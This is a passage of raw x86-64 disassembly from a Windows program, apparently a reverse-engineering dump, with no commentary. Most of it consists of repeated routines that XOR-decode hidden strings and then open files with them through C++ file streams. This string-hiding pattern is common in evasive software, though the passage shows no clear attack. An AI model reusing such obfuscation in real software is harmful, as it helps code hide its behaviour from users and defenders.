shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140103e00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140103e00]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x28
jl 0x14005d590
cmp r8d, 0x2c
jge 0x14005d6e1
movsxd rax, r8d
lea r9, [rbp + 0x420]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x2c
jl 0x14005d6b0
lea r12, [0x140000000]
lea rax, [r12 + 0x1018b8]
lea rcx, [rbp + 0x5a8]
mov qword [rbp + 0x500], rax
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
mov r15d, dword [rbp + 0x50]
lea rdx, [rbp + 0x508]
xor r9d, r9d
lea rcx, [rbp + 0x500]
xor r8d, r8d
or r15d, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
mov rax, qword [rbp + 0x500]
lea rdi, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x500], rdi
mov rax, qword [rbp + 0x500]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x4fc], edx
lea rcx, [rbp + 0x508]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rsi, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov byte [rbp + 0x584], r14b
lea rcx, [rbp + 0x508]
mov qword [rbp + 0x508], rsi
mov byte [rbp + 0x579], r14b
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov rax, qword [0x1401250c0]
lea rcx, [rbp + 0x420]
mov edx, Ordinal_35
mov qword [rbp + 0x588], r14
mov qword [rbp + 0x57c], rax
mov qword [rbp + 0x570], r14
lea r8d, [rdx + 0x1e]
call sub.MSVCP140.dll_struct__iobuf____ptr64___cdecl_std::_Fiopen_char_const____ptr64__int__int_
mov rbx, rax
test rax, rax
jne 0x14005d7ed
mov rax, qword [rbp + 0x500]
lea edx, [rbx + 2]
xor r8d, r8d
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x500]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
jmp 0x14005d8f6
lea rcx, [rbp + 0x508]
mov byte [rbp + 0x584], 1
mov byte [rbp + 0x579], r14b
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
lea r9, [rbp + 0x310]
mov qword [rbp + 0x300], r14
lea r8, [rbp + 0x318]
mov qword [rbp + 0x318], r14
lea rdx, [rbp + 0x300]
mov qword [rbp + 0x310], r14
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__get_stream_buffer_pointers]
mov r9, qword [rbp + 0x310]
lea rcx, [rbp + 0x508]
mov r8, qword [rbp + 0x318]
mov rdx, qword [rbp + 0x300]
mov qword [rsp + 0x30], r9
mov qword [rsp + 0x28], r8
mov qword [rsp + 0x20], rdx
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_char____ptr64____ptr64__char____ptr64____ptr64__int____ptr64__char____ptr64____ptr64__char____ptr64____ptr64__int____ptr64____ptr64]
mov rax, qword [0x1401250c0]
lea rdx, [rbp + 0x2e0]
lea rcx, [rbp + 0x508]
mov qword [rbp + 0x57c], rax
mov qword [rbp + 0x588], rbx
mov qword [rbp + 0x570], r14
call qword [sym.imp.MSVCP140.dll_public:_class_std::locale___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::getloc_void____ptr64]
mov rcx, rax
call fcn.1400086a0
mov rcx, rax
mov rbx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::codecvt_base::always_noconv_void_const___ptr64]
test al, al
je 0x14005d8bd
mov qword [rbp + 0x570], r14
jmp 0x14005d8d1
lea rcx, [rbp + 0x508]
mov qword [rbp + 0x570], rbx
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov rcx, qword [rbp + 0x2e8]
test rcx, rcx
je 0x14005d8f6
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
test rax, rax
je 0x14005d8f6
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
cmp byte [rbp + 0x44b], r14b
jne 0x14005daa1
mov r8d, r14d
cmp r13d, 2
jl 0x14005da57
movdqa xmm0, xmmword [str.1111111111111111]
lea rcx, [rbp + 0x424]
movdqa xmm5, xmmword [0x1400c0550]
movdqa xmm4, xmmword [0x140103f20]
movdqa xmm6, xmmword [0x140103df0]
movdqa xmmword [rbp + 0x300], xmm0
mov edx, dword [rbp + 0x300]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140103e00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140103e00]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x28
jl 0x14005d950
cmp r8d, 0x2c
jge 0x14005daa1
movsxd rax, r8d
lea r9, [rbp + 0x420]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x2c
jl 0x14005da70
xor edx, edx
lea rcx, [rbp + 0x898]
mov r8d, 0x100
call sub.VCRUNTIME140.dll_memset
cmp byte [rbp + 0x4bf], r14b
je 0x14005dc51
cmp r13d, 2
jl 0x14005dc11
movdqa xmm0, xmmword [str.1111111111111111]
lea rcx, [rbp + 0x494]
movdqa xmm5, xmmword [0x1400c0550]
mov edx, r14d
movdqa xmm4, xmmword [0x140103f20]
movdqa xmm6, xmmword [0x140103df0]
movdqa xmmword [rbp + 0x300], xmm0
mov r8d, dword [rbp + 0x300]
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140103e00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140103e00]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x30
jl 0x14005db10
jmp 0x14005dc51
lea r9, [rbp + 0x490]
mov r8d, r14d
nop dword [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x30
jl 0x14005dc20
lea rax, [r12 + 0x1018b8]
lea rcx, [rbp + 0x938]
mov qword [rbp + 0x890], rax
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
xor r9d, r9d
lea rdx, [rbp + 0x898]
xor r8d, r8d
lea rcx, [rbp + 0x890]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
mov rax, qword [rbp + 0x890]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x890], rdi
mov rax, qword [rbp + 0x890]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x88c], edx
lea rcx, [rbp + 0x898]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rcx, [rbp + 0x898]
mov qword [rbp + 0x898], rsi
mov byte [rbp + 0x914], r14b
mov byte [rbp + 0x909], r14b
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov rax, qword [0x1401250c0]
lea rcx, [rbp + 0x490]
mov edx, Ordinal_35
mov qword [rbp + 0x918], r14
mov qword [rbp + 0x90c], rax
mov qword [rbp + 0x900], r14
lea r8d, [rdx + 0x1e]
call sub.MSVCP140.dll_struct__iobuf____ptr64___cdecl_std::_Fiopen_char_const____ptr64__int__int_
mov rbx, rax
test rax, rax
jne 0x14005dd40
mov rax, qword [rbp + 0x890]
lea edx, [rbx + 2]
xor r8d, r8d
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x890]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
jmp 0x14005de49
lea rcx, [rbp + 0x898]
mov byte [rbp + 0x914], 1
mov byte [rbp + 0x909], r14b
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
lea r9, [rbp + 0x300]
mov qword [rbp + 0x310], r14
lea r8, [rbp + 0x318]
mov qword [rbp + 0x318], r14
lea rdx, [rbp + 0x310]
mov qword [rbp + 0x300], r14
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__get_stream_buffer_pointers]
mov r9, qword [rbp + 0x300]
lea rcx, [rbp + 0x898]
mov r8, qword [rbp + 0x318]
mov rdx, qword [rbp + 0x310]
mov qword [rsp + 0x30], r9
mov qword [rsp + 0x28], r8
mov qword [rsp + 0x20], rdx
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_char____ptr64____ptr64__char____ptr64____ptr64__int____ptr64__char____ptr64____ptr64__char____ptr64____ptr64__int____ptr64____ptr64]
mov rax, qword [0x1401250c0]
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0x898]
mov qword [rbp + 0x90c], rax
mov qword [rbp + 0x918], rbx
mov qword [rbp + 0x900], r14
call qword [sym.imp.MSVCP140.dll_public:_class_std::locale___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::getloc_void____ptr64]
mov rcx, rax
call fcn.1400086a0
mov rcx, rax
mov rbx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::codecvt_base::always_noconv_void_const___ptr64]
test al, al
je 0x14005de10
mov qword [rbp + 0x900], r14
jmp 0x14005de24
lea rcx, [rbp + 0x898]
mov qword [rbp + 0x900], rbx
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov rcx, qword [rbp + 0x2f8]
test rcx, rcx
je 0x14005de49
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
test rax, rax
je 0x14005de49
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
cmp byte [rbp + 0x4bf], r14b
jne 0x14005dfe1
cmp r13d, 2
jl 0x14005dfa1
movdqa xmm0, xmmword [str.1111111111111111]
lea rcx, [rbp + 0x494]
movdqa xmm5, xmmword [0x1400c0550]
mov edx, r14d
movdqa xmm4, xmmword [0x140103f20]
movdqa xmm6, xmmword [0x140103df0]
movdqa xmmword [rbp + 0x300], xmm0
mov r8d, dword [rbp + 0x300]
nop dword [rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140103e00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140103e00]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x30
jl 0x14005dea0
jmp 0x14005dfe1
lea r9, [rbp + 0x490]
mov r8d, r14d
nop dword [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x30
jl 0x14005dfb0
xor edx, edx
lea rcx, [rbp + 0x788]
mov r8d, 0x100
call sub.VCRUNTIME140.dll_memset
cmp byte [rbp + 0x3f4], r14b
je 0x14005e1a1
mov r8d, r14d
cmp r13d, 2
jl 0x14005e157
movdqa xmm0, xmmword [str.1111111111111111]
lea rcx, [rbp + 0x3cc]
movdqa xmm5, xmmword [0x1400c0550]
movdqa xmm4, xmmword [0x140103f20]
movdqa xmm6, xmmword [0x140103df0]
movdqa xmmword [rbp + 0x300], xmm0
mov edx, dword [rbp + 0x300]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140103e00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140103e00]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x28
jl 0x14005e050
cmp r8d, 0x2d
jge 0x14005e1a1
movsxd rax, r8d
lea r9, [rbp + 0x3c8]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x2d
jl 0x14005e170
lea rax, [r12 + 0x1018b8]
lea rcx, [rbp + 0x828]
mov qword [rbp + 0x780], rax
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
xor r9d, r9d
lea rdx, [rbp + 0x788]
xor r8d, r8d
lea rcx, [rbp + 0x780]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
mov rax, qword [rbp + 0x780]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x780], rdi
mov rax, qword [rbp + 0x780]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x77c], edx
lea rcx, [rbp + 0x788]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rcx, [rbp + 0x788]
mov qword [rbp + 0x788], rsi
mov byte [rbp + 0x804], r14b
mov byte [rbp + 0x7f9], r14b
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov rax, qword [0x1401250c0]
lea rcx, [rbp + 0x3c8]
mov edx, Ordinal_35
mov qword [rbp + 0x808], r14
mov qword [rbp + 0x7fc], rax
mov qword [rbp + 0x7f0], r14
lea r8d, [rdx + 0x1e]
call sub.MSVCP140.dll_struct__iobuf____ptr64___cdecl_std::_Fiopen_char_const____ptr64__int__int_
mov rbx, rax
test rax, rax
jne 0x14005e290
mov rax, qword [rbp + 0x780]
lea edx, [rbx + 2]
xor r8d, r8d
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x780]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
jmp 0x14005e399
lea rcx, [rbp + 0x788]
mov byte [rbp + 0x804], 1
mov byte [rbp + 0x7f9], r14b
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
lea r9, [rbp + 0x300]
mov qword [rbp + 0x310], r14
lea r8, [rbp + 0x318]
mov qword [rbp + 0x318], r14
lea rdx, [rbp + 0x310]
mov qword [rbp + 0x300], r14
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__get_stream_buffer_pointers]
mov r9, qword [rbp + 0x300]
lea rcx, [rbp + 0x788]
mov r8, qword [rbp + 0x318]
mov rdx, qword [rbp + 0x310]
mov qword [rsp + 0x30], r9
mov qword [rsp + 0x28], r8
mov qword [rsp + 0x20], rdx
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_char____ptr64____ptr64__char____ptr64____ptr64__int____ptr64__char____ptr64____ptr64__char____ptr64____ptr64__int____ptr64____ptr64]
mov rax, qword [0x1401250c0]
lea rdx, [rbp + 0x230]
lea rcx, [rbp + 0x788]
mov qword [rbp + 0x7fc], rax
mov qword [rbp + 0x808], rbx
mov qword [rbp + 0x7f0], r14
call qword [sym.imp.MSVCP140.dll_public:_class_std::locale___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::getloc_void____ptr64]
mov rcx, rax
call fcn.1400086a0
mov rcx, rax
mov rbx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::codecvt_base::always_noconv_void_const___ptr64]
test al, al
je 0x14005e360
mov qword [rbp + 0x7f0], r14
jmp 0x14005e374
lea rcx, [rbp + 0x788]
mov qword [rbp + 0x7f0], rbx
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov rcx, qword [rbp + 0x238]
test rcx, rcx
je 0x14005e399
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
test rax, rax
je 0x14005e399
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
cmp byte [rbp + 0x3f4], r14b
jne 0x14005e541
mov r8d, r14d
cmp r13d, 2
jl 0x14005e4f7
movdqa xmm0, xmmword [str.1111111111111111]
lea rcx, [rbp + 0x3cc]
movdqa xmm5, xmmword [0x1400c0550]
movdqa xmm4, xmmword [0x140103f20]
movdqa xmm6, xmmword [0x140103df0]
movdqa xmmword [rbp + 0x300], xmm0
mov edx, dword [rbp + 0x300]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140103e00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140103e00]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x28
jl 0x14005e3f0
cmp r8d, 0x2d
jge 0x14005e541
movsxd rax, r8d
lea r9, [rbp + 0x3c8]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x2d
jl 0x14005e510
xor edx, edx
lea rcx, [rbp + 0x678]
mov r8d, 0x100
call sub.VCRUNTIME140.dll_memset
cmp byte [rbp + 0x638], r14b
je 0x14005e701
mov r8d, r14d
cmp r13d, 2
jl 0x14005e6b7
movdqa xmm0, xmmword [str.1111111111111111]
lea rcx, [rbp + 0x614]
movdqa xmm5, xmmword [0x1400c0550]
movdqa xmm4, xmmword [0x140103f20]
movdqa xmm6, xmmword [0x140103df0]
movdqa xmmword [rbp + 0x300], xmm0
mov edx, dword [rbp + 0x300]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140103e00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140103e00]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x28
